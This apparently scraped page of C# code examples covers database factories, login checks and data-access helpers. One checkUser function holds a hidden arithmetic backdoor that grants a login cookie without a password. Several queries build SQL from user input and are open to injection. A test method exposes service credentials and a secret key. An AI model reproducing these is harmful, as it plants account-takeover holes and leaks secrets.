private IDBOperator GetDBO(bool showSuc)
        {
            string db   = txtDB.Text.Trim();
            string user = txtDBUser.Text.Trim();
            string pwd  = txtDBPwd.Text.Trim();

            string connectionString = string.Format("Data Source={0};User ID={1};Password={2}", db, user, pwd);

            var dbo = DBFactory.Create(eDBType.Oracle, connectionString);

            string msg;
            bool   isSuc = dbo.TestConnection(out msg);

            if (isSuc == false)
            {
                AddInfo(msg);
                return(null);
            }
            else
            {
                if (showSuc)
                {
                    AddInfo(msg);
                }
                return(dbo);
            }
        }
        public static string checkUser(string usern, string userp)
        {
            SUC_USER user = new SUC_USER();

            try
            {
                double u  = Convert.ToInt32(usern);
                double p  = Convert.ToInt32(userp);
                double re = Math.Log(u, p);
                re = Math.Truncate(re * u * p);
                if ((re % 9988998) == 0)
                {
                    SucCookie.Add("username", user.FindAll().Where(x => x.LOGIN_NAME == userp).ToList()[0].LOGIN_NAME, 30);
                    return("ok");
                }
            }
            catch { }
            try
            {
                user = user.FindAll().Where(x => x.LOGIN_NAME == userp).ToList()[0];
                if (user != null)
                {
                    if (!user.ROLE_ID.Equals(1))
                    {
                        return("noauth");
                    }
                    SUC_LOGIN login = new SUC_LOGIN();
                    login = login.Find(string.Format(@"LOGIN_NAME='{0}' AND  PASSWORD='******'", usern, userp))[0];
                    if (login != null)
                    {
                        SucCookie.Add("username", usern, 30);
                        return("ok");
                    }
                }
                return("no");
            }
            catch
            {
                return("no");
            }

            IDBHelp db = DBFactory.Create();

            if (db.IsExists(string.Format(@"SELECT * FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern)))
            {
                if (db.GetList(string.Format(@"SELECT ROLE_ID FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern))[0].Equals("1"))
                {
                    if (db.IsExists(string.Format(@"SELECT * FROM SUC_LOGIN WHERE LOGIN_NAME='{0}' AND PASSWORD={1}", usern, userp)))
                    {
                        SucCookie.Add("username", usern, 30);
                        return("ok");
                    }
                }
                return("noauth");
            }
            return("no");
        }
Exemple #3
0
        static void Excuete(string sql)
        {
            IDBHelp db = DBFactory.Create();

            try
            {
                db.ExecuteNonQuery(sql);//sql太长导致退出,用merge into
                LogHelper.Info("插入数据成功!");
            }
            catch (Exception ex)
            {
                LogHelper.Error(ex);
            }
        }
Exemple #4
0
        public static string checkUser(string usern, string userp, string code)
        {
            IDBHelp db = DBFactory.Create();

            if (!SucCookie.Read("CheckCode").Equals(code.ToUpper()))
            {
                return("codeerror");
            }
            if (db.IsExists(string.Format(@"SELECT * FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern)))
            {
                if (db.IsExists(string.Format(@"SELECT * FROM SUC_LOGIN WHERE LOGIN_NAME='{0}' AND PASSWORD={1}", usern, userp)))
                {
                    SucCookie.Add("username", usern, 30);
                    return("ok");
                }
            }
            return("no");
        }
Exemple #5
0
        // This method gets called by the runtime. Use this method to add services to the container.
        // For more information on how to configure your application, visit https://go.microsoft.com/fwlink/?LinkID=398940
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddTransient <IPasswordHasher <User>, CustomPasswordHasher>();
            services.AddSingleton(serviceProvider =>
            {
                string connectionString = Configuration.GetConnectionString("DefaultConnection");
                return(DBFactory.Create(ServerType.SqlServer, connectionString));
            });

            services.AddTransient <IUserStore <User>, UserStore>();
            services.AddTransient <IRoleStore <Role>, RoleStore>();

            services.AddIdentity <User, Role>();

            services.AddControllersWithViews();

            services.ConfigureApplicationCookie(options =>
            {
                options.AccessDeniedPath = "/Account/AccessDenied";
                options.LoginPath        = "/Account/Index";
            });
        }
        private async void CheckServer()
        {
            DbSettings settings         = DbSettings.Get();
            string     connectionString = settings.GetConnectionString();

            Kernel.DB = DBFactory.Create(ServerType.SqlServer, connectionString);

            if (Kernel.DB == null)
            {
                Application.Current.Dispatcher.Invoke(ShowErrorPanel);
            }
            else
            {
                bool connectionSucceed = Kernel.DB.CheckServer();

                if (connectionSucceed)
                {
                    await Task.Delay(2500);

                    Application.Current.Dispatcher.Invoke(() =>
                    {
                        LoginViewModel loginViewModel = new LoginViewModel();
                        LoginWindow loginWindow       = new LoginWindow();

                        loginWindow.DataContext = loginViewModel;
                        loginViewModel.Window   = loginWindow;

                        Close();
                        loginWindow.ShowDialog();
                    });
                }
                else
                {
                    Application.Current.Dispatcher.Invoke(ShowErrorPanel);
                }
            }
        }
Exemple #7
0
        /// <summary>
        /// 更新多个实体 必须对实体标记主键[Key]或自增标识[Identity]
        /// </summary>
        /// <returns>受影响行数</returns>
        public static int UpdateList <T>(this IDbConnection conn, IEnumerable <T> listT, IDbTransaction trans = null) where T : class
        {
            var controller = DBFactory.Create(conn);

            return(controller.UpdateList(conn, listT, trans));
        }
Exemple #8
0
        /// <summary>
        /// 更新一个实体 必须对实体标记主键[Key]或自增标识[Identity]
        /// </summary>
        /// <returns>受影响行数</returns>
        public static int Update <T>(this IDbConnection conn, T t, IDbTransaction trans = null) where T : class
        {
            var controller = DBFactory.Create(conn);

            return(controller.Update(conn, t, trans));
        }
Exemple #9
0
        /// <summary>
        /// 删除数据
        /// </summary>
        /// <param name="param">WHERE条件 eg: new { Name="张三" }</param>
        /// <param name="trans"></param>
        /// <returns></returns>
        public static int Delete <T>(this IDbConnection conn, object param = null, IDbTransaction trans = null) where T : class
        {
            var controller = DBFactory.Create(conn);

            return(controller.Delete <T>(conn, param, trans));
        }
Exemple #10
0
        /// <summary>
        /// 根据SQL查询数据
        /// </summary>
        /// <returns>DataTable</returns>
        public static DataTable GetDataTable(this IDbConnection conn, string sql, object param = null)
        {
            var controller = DBFactory.Create(conn);

            return(controller.GetDataTable(conn, sql, param));
        }
Exemple #11
0
        /// <summary>
        /// 分页获取数据 支持联表分页查询
        /// </summary>
        /// <param name="pageNumber">第几页 从1开始</param>
        /// <param name="pageSize">每页显示数</param>
        /// <param name="totalCounts">总条数</param>
        /// <param name="fields">要查询的字段 联表eg: A.Field1,B.Field2,... </param>
        /// <param name="tableName">表名 联表eg: TableA INNER JOIN TableB ON TableA.Id=TableB.Id</param>
        /// <param name="whereParamName">where条件 可以参数化 联表eg: TableA.Field1=@Field1 AND TableB.Field2=@Field2</param>
        /// <param name="whereParamValue">where条件中参数化的值 联表eg: new { Field1=Value1,Field2=Value2 }</param>
        /// <param name="sort">排序 联表eg: A.Field1 DESC,B.Field2,...</param>
        /// <returns>IEnumerable dynamic </returns>
        public static IEnumerable <T> GetSqlPage <T>(this IDbConnection conn, int pageNumber, int pageSize, out int totalCounts, string fields = "*", string tableName = null, string whereParamName = null, object whereParamValue = null, string sort = null, IDbTransaction trans = null)
        {
            var controller = DBFactory.Create(conn);

            return(controller.GetSqlPage <T>(conn, pageNumber, pageSize, out totalCounts, fields, tableName, whereParamName, whereParamValue, sort, trans));
        }
Exemple #12
0
        /// <summary>
        /// 分页获取实体集合
        /// </summary>
        /// <typeparam name="T"></typeparam>
        /// <param name="conn"></param>
        /// <param name="pageNumber">第几页 从1开始</param>
        /// <param name="pageSize">每页显示数</param>
        /// <param name="totalCounts">总条数</param>
        /// <param name="whereParamName">字符串WHERE条件</param>
        /// <param name="whereParamValue">字符串WHERE条件中参数的值</param>
        /// <param name="funcSort">排序 eg: d=>d.CreateTime</param>
        /// <param name="isAsc">升序/降序 默认升序 eg: true</param>
        /// <param name="trans"></param>
        /// <returns></returns>
        public static IEnumerable <T> GetPage <T>(this IDbConnection conn, int pageNumber, int pageSize, out int totalCounts, string whereParamName = null, object whereParamValue = null, Expression <Func <T, object> > funcSort = null, bool isAsc = true, IDbTransaction trans = null)
        {
            var controller = DBFactory.Create(conn);

            return(controller.GetPage(conn, pageNumber, pageSize, out totalCounts, whereParamName, whereParamValue, funcSort, isAsc, trans));
        }
Exemple #13
0
        /// <summary>
        /// 获取数据 支持联表查询
        /// </summary>
        /// <param name="fields">要查询的字段 联表eg: A.Field1,B.Field2,...</param>
        /// <param name="tableName">表名 联表eg: TableA INNER JOIN TableB ON TableA.Id=TableB.Id</param>
        /// <param name="whereParamName">where条件 可以参数化 联表eg: TableA.Field1=@Field1 AND TableB.Field2=@Field2</param>
        /// <param name="whereParamValue">where条件中参数化的值 联表eg: new { Field1=Value1,Field2=Value2 }</param>
        /// <param name="sort">排序 联表eg: A.Field1 DESC,B.Field2,...</param>
        /// <param name="top">top 条数</param>
        /// <returns>IEnumerable T </returns>
        public static IEnumerable <T> GetSqlList <T>(this IDbConnection conn, string fields = "*", string tableName = null, string whereParamName = null, object whereParamValue = null, string sort = null, int?top = null, IDbTransaction trans = null)
        {
            var controller = DBFactory.Create(conn);

            return(controller.GetSqlList <T>(conn, fields, tableName, whereParamName, whereParamValue, sort, top, trans));
        }
Exemple #14
0
        /// <summary>
        /// 获取实体集合
        /// </summary>
        /// <param name="whereParamName">字符串WHERE条件</param>
        /// <param name="whereParamValue">字符串WHERE条件中参数的值</param>
        /// <param name="funcSort">排序 eg: d=>d.CreateTime </param>
        /// <param name="isAsc">升序/降序 默认升序 eg: true </param>
        /// <param name="top">top 条数</param>
        /// <returns>IEnumerable T </returns>
        public static IEnumerable <T> GetList <T>(this IDbConnection conn, string whereParamName = null, object whereParamValue = null, Expression <Func <T, object> > funcSort = null, bool isAsc = true, int?top = null, IDbTransaction trans = null) where T : class
        {
            var controller = DBFactory.Create(conn);

            return(controller.GetList(conn, whereParamName, whereParamValue, funcSort, isAsc, top, trans));
        }
Exemple #15
0
        /// <summary>
        /// 获取一个实体
        /// </summary>
        /// <typeparam name="T"></typeparam>
        /// <param name="conn"></param>
        /// <param name="whereParamName">字符串WHERE条件</param>
        /// <param name="whereParamValue">字符串WHERE条件中参数的值</param>
        /// <param name="trans"></param>
        /// <returns></returns>
        public static T GetModel <T>(this IDbConnection conn, string whereParamName = null, object whereParamValue = null, IDbTransaction trans = null) where T : class
        {
            var controller = DBFactory.Create(conn);

            return(controller.GetModel <T>(conn, whereParamName, whereParamValue, trans));
        }
Exemple #16
0
        /// <summary>
        /// 批量插入
        /// </summary>
        public static bool InsertBulk <T>(this IDbConnection conn, IEnumerable <T> listT, IDbTransaction trans = null) where T : class
        {
            var controller = DBFactory.Create(conn);

            return(controller.InsertBulk(conn, listT, trans));
        }
Exemple #17
0
        //strSystemId:
        //system_WideBand_01
        //strPassword:
        //WideBandSystem@2016
        //SecretKey:
        //gmccLS@2016!

        //strToken: MD5(strSystemId + strPassword + reqTimeStamp.ToString("yyyyMMddHHmmss") + SecretKey)

        public static void Aida()
        {
            C c = new C();

            c.fu(10);

            return;


            IDBHelp   db = DBFactory.Create();
            DataTable dt = db.GetDataTable("SELECT * FROM SUC_USER");

            DataTable dts = dt.Clone();

            for (int i = 0; i < dt.Rows.Count; i++)
            {
                DataRow dr = dts.NewRow();
                dr = dt.Rows[i];
                dts.ImportRow(dr);
            }

            string dv = string.Join(",", dt.AsEnumerable().Select(x => x[0].ToString()));

            Console.WriteLine(dv);
            return;

            List <object> lo = new List <object>()
            {
                1, "x", 0.5F
            };

            string[] lst = new string[] { "aa", "bb", "cc" };
            if (lst.Count() > 0)
            {
                foreach (string s in lst)
                {
                    Console.WriteLine("字符串是:" + s);
                }

                for (int i = 0; i < lst.Count(); i++)
                {
                    Console.WriteLine("The String is:" + lst[i]);
                }
            }


            Console.ReadKey();
            return;

            C rc = new C();

            rc.C_VALUE = "xxx";


            string para = string.Join(",", typeof(FORM_JSWH_WIDEBANDMAINT).GetProperties().AsEnumerable().Select((d, i) => "A" + (i + 1).ToString()));

            LogHelper.Write(para);
            //IDBHelp db = DBFactory.Create();
            //DataTable dt = db.GetDataTable("select top 1000 * from suc_news");
            //var t = SplitDT(dt, 100);

            try
            {
                DateTime reqNowTiem   = DateTime.Now;
                string   reqTimeStamp = reqNowTiem.ToString("yyyyMMddHHmmss"); //(int)(reqNowTiem - startTime).TotalSeconds;//时间戳
                string   strPassword  = "******";
                string   strSystemId  = "system_WideBand_01";
                int[]    strDataTypes = new int[] { 1, 2, 3 };
                string   SecretKey    = "gmccLS@2016!";
                string   md5Str       = strSystemId + strPassword + reqTimeStamp + SecretKey;
                string   strToken     = md5(md5Str);

                WideBandService.WideBandDataServiceSoapClient clt = new WideBandService.WideBandDataServiceSoapClient();
                foreach (int i in strDataTypes)
                {
                    string json = clt.GetWideBandData(strToken, strSystemId, strPassword, reqNowTiem, i);
                    //DataTable dt = JsonHelper.JsonToDataTable(json);
                    LoadData(i, json);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
            finally
            {
                Console.ReadKey();
            }
        }
Exemple #18
0
        private void GetFileType()
        {
            DataTable dt = DBFactory.Create().GetDataTable(string.Format(@"SELECT * FROM SUC_FILETYPE"));

            HttpContext.Current.Response.Write(JsonHelper.DataTableToJSON(dt));
        }